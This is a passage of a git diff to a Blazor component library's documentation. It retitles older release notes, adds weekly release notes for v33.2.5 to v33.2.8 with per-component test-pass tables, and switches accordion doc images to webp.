+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.2.36
 
 {% include release-info.html date="June 30, 2022"  version="v20.2.36" %} 
 
diff --git a/blazor/Release-Notes/20.2.38.md b/blazor/Release-Notes/20.2.38.md
index 92ca84383e..74eec89853 100644
--- a/blazor/Release-Notes/20.2.38.md
+++ b/blazor/Release-Notes/20.2.38.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.2.38
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.2.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.2.38
 
 {% include release-info.html date="July 12, 2022"  version="v20.2.38" %} 
 
diff --git a/blazor/Release-Notes/20.2.39.md b/blazor/Release-Notes/20.2.39.md
index 985e2dda8c..7d91bd1bea 100644
--- a/blazor/Release-Notes/20.2.39.md
+++ b/blazor/Release-Notes/20.2.39.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for  Blazor Weekly Nuget Release Release Notes - v20.2.39
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.2.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.2.39
 
 {% include release-info.html date="July 19, 2022"  version="v20.2.39" %} 
 
diff --git a/blazor/Release-Notes/20.2.40.md b/blazor/Release-Notes/20.2.40.md
index 530ce0a3d5..d487d3fce6 100644
--- a/blazor/Release-Notes/20.2.40.md
+++ b/blazor/Release-Notes/20.2.40.md
@@ -1,11 +1,11 @@
 ---
-title: Essential Studio for  Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for  Blazor Weekly Nuget Release Release Notes 
+title: Essential Studio for Blazor Weekly Nuget Release Release Notes - v20.2.40
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v20.2.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.2.40
 
 {% include release-info.html date="July 26, 2022"  version="v20.2.40" %} 
 
diff --git a/blazor/Release-Notes/20.2.43.md b/blazor/Release-Notes/20.2.43.md
index e434acefd5..7efbebf563 100644
--- a/blazor/Release-Notes/20.2.43.md
+++ b/blazor/Release-Notes/20.2.43.md
@@ -5,7 +5,7 @@ platform: Blazor
 documentation: ug
 ---
 
-# Essential Studio<sup style="font-size:70%">&reg;</sup> for  Blazor  Release Notes  
+# Essential Studio<sup style="font-size:70%">&reg;</sup> for Blazor Release Notes - v20.2.43
 
 {% include release-info.html date="August 8, 2022"  version="v20.2.43" %} 
 
diff --git a/blazor/Release-Notes/33.2.5.md b/blazor/Release-Notes/33.2.5.md
new file mode 100644
index 0000000000..782c2578e2
--- /dev/null
+++ b/blazor/Release-Notes/33.2.5.md
@@ -0,0 +1,96 @@
+---
+title: Essential Studio for Blazor Release Notes - v33.2.5
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v33.2.5
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v33.2.5 Release Notes 
+
+{% include release-info.html date="May 05, 2026"  version="v33.2.5" passed="94733" failed="0" %}
+
+{% directory path: _includes/release-notes/v33.2.5 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %}
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|--------|--------|---------|
+| 3DChart | 257 | 257 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 463 | 463 | 0 | All Passed |
+| Appbar | 103 | 103 | 0 | All Passed |
+| Autocomplete | 484 | 484 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 241 | 241 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 146 | 146 | 0 | All Passed |
+| Carousel | 177 | 177 | 0 | All Passed |
+| Charts | 6534 | 6534 | 0 | All Passed |
+| ChartWizard | 317 | 317 | 0 | All Passed |
+| ChatUI | 242 | 242 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1015 | 1015 | 0 | All Passed |
+| ColorPicker | 114 | 114 | 0 | All Passed |
+| ComboBox | 620 | 620 | 0 | All Passed |
+| DashboardLayout | 261 | 261 | 0 | All Passed |
+| DataForm | 547 | 547 | 0 | All Passed |
+| DataGrid | 10367 | 10367 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 368 | 368 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16994 | 16994 | 0 | All Passed |
+| Dialog | 487 | 487 | 0 | All Passed |
+| DropdownList | 917 | 917 | 0 | All Passed |
+| Dropdowntree | 176 | 176 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 725 | 725 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 8534 | 8534 | 0 | All Passed |
+| HeatMap | 419 | 419 | 0 | All Passed |
+| ImageEditor | 3610 | 3610 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 172 | 172 | 0 | All Passed |
+| Kanban | 529 | 529 | 0 | All Passed |
+| LinearGauge | 801 | 801 | 0 | All Passed |
+| ListBox | 138 | 138 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1612 | 1612 | 0 | All Passed |
+| Mention | 154 | 154 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 903 | 903 | 0 | All Passed |
+| NumericTextbox | 466 | 466 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1525 | 1525 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 220 | 220 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 548 | 548 | 0 | All Passed |
+| RichTextEditor | 2972 | 2972 | 0 | All Passed |
+| Scheduler | 6741 | 6741 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 273 | 273 | 0 | All Passed |
+| SmithChart | 260 | 260 | 0 | All Passed |
+| Sparkline | 229 | 229 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 360 | 360 | 0 | All Passed |
+| Tabs | 1084 | 1084 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 684 | 684 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| Tooltip | 107 | 107 | 0 | All Passed |
+| TreeGrid | 8085 | 8085 | 0 | All Passed |
+| TreeMap | 775 | 775 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/Release-Notes/33.2.6.md b/blazor/Release-Notes/33.2.6.md
new file mode 100644
index 0000000000..57fc652452
--- /dev/null
+++ b/blazor/Release-Notes/33.2.6.md
@@ -0,0 +1,96 @@
+---
+title: Essential Studio for Blazor Release Notes - v33.2.6
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v33.2.6
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v33.2.6 Release Notes 
+
+{% include release-info.html date="May 12, 2026"  version="v33.2.6" passed="94763" failed="0" %}
+
+{% directory path: _includes/release-notes/v33.2.6 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %}
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|--------|--------|---------|
+| 3DChart | 257 | 257 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 463 | 463 | 0 | All Passed |
+| Appbar | 103 | 103 | 0 | All Passed |
+| Autocomplete | 484 | 484 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 241 | 241 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 146 | 146 | 0 | All Passed |
+| Carousel | 177 | 177 | 0 | All Passed |
+| Charts | 6544 | 6544 | 0 | All Passed |
+| ChartWizard | 317 | 317 | 0 | All Passed |
+| ChatUI | 243 | 243 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1015 | 1015 | 0 | All Passed |
+| ColorPicker | 114 | 114 | 0 | All Passed |
+| ComboBox | 620 | 620 | 0 | All Passed |
+| DashboardLayout | 262 | 262 | 0 | All Passed |
+| DataForm | 548 | 548 | 0 | All Passed |
+| DataGrid | 10367 | 10367 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 368 | 368 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16994 | 16994 | 0 | All Passed |
+| Dialog | 487 | 487 | 0 | All Passed |
+| DropdownList | 917 | 917 | 0 | All Passed |
+| Dropdowntree | 176 | 176 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 725 | 725 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 8547 | 8547 | 0 | All Passed |
+| HeatMap | 419 | 419 | 0 | All Passed |
+| ImageEditor | 3610 | 3610 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 172 | 172 | 0 | All Passed |
+| Kanban | 529 | 529 | 0 | All Passed |
+| LinearGauge | 801 | 801 | 0 | All Passed |
+| ListBox | 139 | 139 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1612 | 1612 | 0 | All Passed |
+| Mention | 154 | 154 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 903 | 903 | 0 | All Passed |
+| NumericTextbox | 467 | 467 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1525 | 1525 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 220 | 220 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 548 | 548 | 0 | All Passed |
+| RichTextEditor | 2972 | 2972 | 0 | All Passed |
+| Scheduler | 6741 | 6741 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 273 | 273 | 0 | All Passed |
+| SmithChart | 260 | 260 | 0 | All Passed |
+| Sparkline | 229 | 229 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 360 | 360 | 0 | All Passed |
+| Tabs | 1085 | 1085 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 685 | 685 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| Tooltip | 107 | 107 | 0 | All Passed |
+| TreeGrid | 8085 | 8085 | 0 | All Passed |
+| TreeMap | 775 | 775 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/Release-Notes/33.2.7.md b/blazor/Release-Notes/33.2.7.md
new file mode 100644
index 0000000000..4426b65db9
--- /dev/null
+++ b/blazor/Release-Notes/33.2.7.md
@@ -0,0 +1,96 @@
+---
+title: Essential Studio for Blazor Release Notes - v33.2.7
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v33.2.7
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v33.2.7 Release Notes 
+
+{% include release-info.html date="May 19, 2026"  version="v33.2.7" passed="94952" failed="0" %}
+
+{% directory path: _includes/release-notes/v33.2.7 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %} 
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|---------|--------|---------|
+| 3DChart | 226 | 226 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 463 | 463 | 0 | All Passed |
+| Appbar | 103 | 103 | 0 | All Passed |
+| Autocomplete | 484 | 484 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 241 | 241 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 146 | 146 | 0 | All Passed |
+| Carousel | 177 | 177 | 0 | All Passed |
+| Charts | 6550 | 6550 | 0 | All Passed |
+| ChartWizard | 317 | 317 | 0 | All Passed |
+| ChatUI | 243 | 243 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1015 | 1015 | 0 | All Passed |
+| ColorPicker | 114 | 114 | 0 | All Passed |
+| ComboBox | 620 | 620 | 0 | All Passed |
+| DashboardLayout | 262 | 262 | 0 | All Passed |
+| DataForm | 548 | 548 | 0 | All Passed |
+| DataGrid | 10377 | 10377 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 368 | 368 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16994 | 16994 | 0 | All Passed |
+| Dialog | 488 | 488 | 0 | All Passed |
+| DropdownList | 920 | 920 | 0 | All Passed |
+| Dropdowntree | 176 | 176 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 725 | 725 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 8547 | 8547 | 0 | All Passed |
+| HeatMap | 419 | 419 | 0 | All Passed |
+| ImageEditor | 3610 | 3610 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 172 | 172 | 0 | All Passed |
+| Kanban | 529 | 529 | 0 | All Passed |
+| LinearGauge | 801 | 801 | 0 | All Passed |
+| ListBox | 139 | 139 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1612 | 1612 | 0 | All Passed |
+| Mention | 154 | 154 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 907 | 907 | 0 | All Passed |
+| NumericTextbox | 467 | 467 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1525 | 1525 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 220 | 220 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 548 | 548 | 0 | All Passed |
+| RichTextEditor | 3168 | 3168 | 0 | All Passed |
+| Scheduler | 6741 | 6741 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 273 | 273 | 0 | All Passed |
+| SmithChart | 260 | 260 | 0 | All Passed |
+| Sparkline | 229 | 229 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 360 | 360 | 0 | All Passed |
+| Tabs | 1085 | 1085 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 685 | 685 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| Tooltip | 107 | 107 | 0 | All Passed |
+| TreeGrid | 8085 | 8085 | 0 | All Passed |
+| TreeMap | 775 | 775 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/Release-Notes/33.2.8.md b/blazor/Release-Notes/33.2.8.md
new file mode 100644
index 0000000000..18f884d9e2
--- /dev/null
+++ b/blazor/Release-Notes/33.2.8.md
@@ -0,0 +1,96 @@
+---
+title: Essential Studio for Blazor Release Notes - v33.2.8
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v33.2.8
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v33.2.8 Release Notes 
+
+{% include release-info.html date="May 26, 2026"  version="v33.2.8" passed="95292" failed="0" %}
+
+{% directory path: _includes/release-notes/v33.2.8 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %}
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|--------|--------|---------|
+| 3DChart | 227 | 227 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 463 | 463 | 0 | All Passed |
+| Appbar | 103 | 103 | 0 | All Passed |
+| Autocomplete | 484 | 484 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 241 | 241 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 146 | 146 | 0 | All Passed |
+| Carousel | 177 | 177 | 0 | All Passed |
+| Charts | 6550 | 6550 | 0 | All Passed |
+| ChartWizard | 317 | 317 | 0 | All Passed |
+| ChatUI | 243 | 243 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1015 | 1015 | 0 | All Passed |
+| ColorPicker | 115 | 115 | 0 | All Passed |
+| ComboBox | 620 | 620 | 0 | All Passed |
+| DashboardLayout | 262 | 262 | 0 | All Passed |
+| DataForm | 548 | 548 | 0 | All Passed |
+| DataGrid | 10687 | 10687 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 368 | 368 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16994 | 16994 | 0 | All Passed |
+| Dialog | 488 | 488 | 0 | All Passed |
+| DropdownList | 920 | 920 | 0 | All Passed |
+| Dropdowntree | 176 | 176 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 725 | 725 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 8547 | 8547 | 0 | All Passed |
+| HeatMap | 419 | 419 | 0 | All Passed |
+| ImageEditor | 3610 | 3610 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 172 | 172 | 0 | All Passed |
+| Kanban | 529 | 529 | 0 | All Passed |
+| LinearGauge | 801 | 801 | 0 | All Passed |
+| ListBox | 139 | 139 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1612 | 1612 | 0 | All Passed |
+| Mention | 154 | 154 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 907 | 907 | 0 | All Passed |
+| NumericTextbox | 467 | 467 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1525 | 1525 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 220 | 220 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 548 | 548 | 0 | All Passed |
+| RichTextEditor | 3168 | 3168 | 0 | All Passed |
+| Scheduler | 6741 | 6741 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 273 | 273 | 0 | All Passed |
+| SmithChart | 260 | 260 | 0 | All Passed |
+| Sparkline | 229 | 229 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 360 | 360 | 0 | All Passed |
+| Tabs | 1085 | 1085 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 685 | 685 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| Tooltip | 135 | 135 | 0 | All Passed |
+| TreeGrid | 8085 | 8085 | 0 | All Passed |
+| TreeMap | 775 | 775 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/accordion/animations.md b/blazor/accordion/animations.md
index 4ece2a4f96..bc51d4a5e4 100644
--- a/blazor/accordion/animations.md
+++ b/blazor/accordion/animations.md
@@ -91,4 +91,4 @@ The following example demonstrates various animation types that can be applied t
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhqWBsqAJzMiZJi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customize Accordion expand or collapse animation behavior](./images/blazor-accordion-animation.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhqWBsqAJzMiZJi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customize Accordion expand or collapse animation behavior](./images/blazor-accordion-animation.webp)" %}
diff --git a/blazor/accordion/data-binding.md b/blazor/accordion/data-binding.md
index dafed21659..a41004cd2c 100644
--- a/blazor/accordion/data-binding.md
+++ b/blazor/accordion/data-binding.md
@@ -74,4 +74,4 @@ The following example demonstrates how to initialize accordion items using `temp
 ```
 
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtVUMrigKgalNSWq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Data Binding](./images/blazor-accordion-data-binding.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtVUMrigKgalNSWq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Data Binding](./images/blazor-accordion-data-binding.webp)" %}
\ No newline at end of file
diff --git a/blazor/accordion/expand-mode.md b/blazor/accordion/expand-mode.md
index a59bb95059..e5313b442e 100644
--- a/blazor/accordion/expand-mode.md
+++ b/blazor/accordion/expand-mode.md
@@ -31,7 +31,7 @@ The property enables to expand only one Accordion item at a time. If you expand
 </SfAccordion>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLUWhiqKztxpXDo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Single Expand Mode](./images/blazor-accordion-single-expand-mode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLUWhiqKztxpXDo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Single Expand Mode](./images/blazor-accordion-single-expand-mode.webp)" %}
 
 ## Multiple
 
@@ -54,7 +54,7 @@ The default [ExpandMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVgsVsqApsKInXs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Multiple Expand Mode](./images/blazor-accordion-multiple-expand-mode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVgsVsqApsKInXs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Multiple Expand Mode](./images/blazor-accordion-multiple-expand-mode.webp)" %}
 
 ## Expanding the items
 
@@ -121,4 +121,4 @@ By default, accordion items were in collapsed state on initial load. To expand a
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhUWVCKqpKMrZBu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Expanding Items](./images/blazor-accordion-expand-items.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhUWVCKqpKMrZBu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Expanding Items](./images/blazor-accordion-expand-items.webp)" %}
\ No newline at end of file
diff --git a/blazor/accordion/how-to/add-icon-to-accordion-header.md b/blazor/accordion/how-to/add-icon-to-accordion-header.md
index ebe41f66f9..d141b94318 100644
--- a/blazor/accordion/how-to/add-icon-to-accordion-header.md
+++ b/blazor/accordion/how-to/add-icon-to-accordion-header.md
@@ -195,4 +195,4 @@ You can add custom icons to the Accordion header by using the [IconCss](https://
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLKihigqyvhnutf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Header Icon](../images/blazor-accordion-header-icon.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLKihigqyvhnutf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Header Icon](../images/blazor-accordion-header-icon.webp)" %}
diff --git a/blazor/accordion/how-to/add-nested-accordion.md b/blazor/accordion/how-to/add-nested-accordion.md
index 3e3af3697b..269c4e7125 100644
--- a/blazor/accordion/how-to/add-nested-accordion.md
+++ b/blazor/accordion/how-to/add-nested-accordion.md
@@ -60,4 +60,4 @@ The Accordion component supports to render the nested level of Accordion by usin
 </SfAccordion>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrUWLWUAyOkHSnV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Nested Item](../images/blazor-accordion-with-nested-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrUWLWUAyOkHSnV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accordion Component with Nested Item](../images/blazor-accordion-with-nested-item.webp)" %}
diff --git a/blazor/accordion/how-to/add-remove-accordion-items.md b/blazor/accordion/how-to/add-remove-accordion-items.md
index 8c07e7f0f7..dcfafb6e43 100644
--- a/blazor/accordion/how-to/add-remove-accordion-items.md
+++ b/blazor/accordion/how-to/add-remove-accordion-items.md
@@ -85,4 +85,4 @@ In the following example, the Accordion initially contains three accordion items
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLUWBMqqTnOpwoL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding or Removing items in Blazor Accordion](../images/blazor-accordion-add-remove-item.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLUWBMqqTnOpwoL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding or Removing items in Blazor Accordion](../images/blazor-accordion-add-remove-item.webp)" %}
diff --git a/blazor/accordion/how-to/enable-disable-accordion-item.md b/blazor/accordion/how-to/enable-disable-accordion-item.md
index ddc5cb4498..7727d60ece 100644
--- a/blazor/accordion/how-to/enable-disable-accordion-item.md
+++ b/blazor/accordion/how-to/enable-disable-accordion-item.md
@@ -37,4 +37,4 @@ In the following example, the first accordion item is enabled or disabled dynami
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLgiLiUUImofYGa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling or Disabling Item in Blazor Accordion](../images/blazor-accordion-enable-disable-item.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLgiLiUUImofYGa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling or Disabling Item in Blazor Accordion](../images/blazor-accordion-enable-disable-item.webp)" %}
diff --git a/blazor/accordion/how-to/integrate-treeview-inside-the-accordion.md b/blazor/accordion/how-to/integrate-treeview-inside-the-accordion.md
index 26dc117b64..6920579615 100644
--- a/blazor/accordion/how-to/integrate-treeview-inside-the-accordion.md
+++ b/blazor/accordion/how-to/integrate-treeview-inside-the-accordion.md
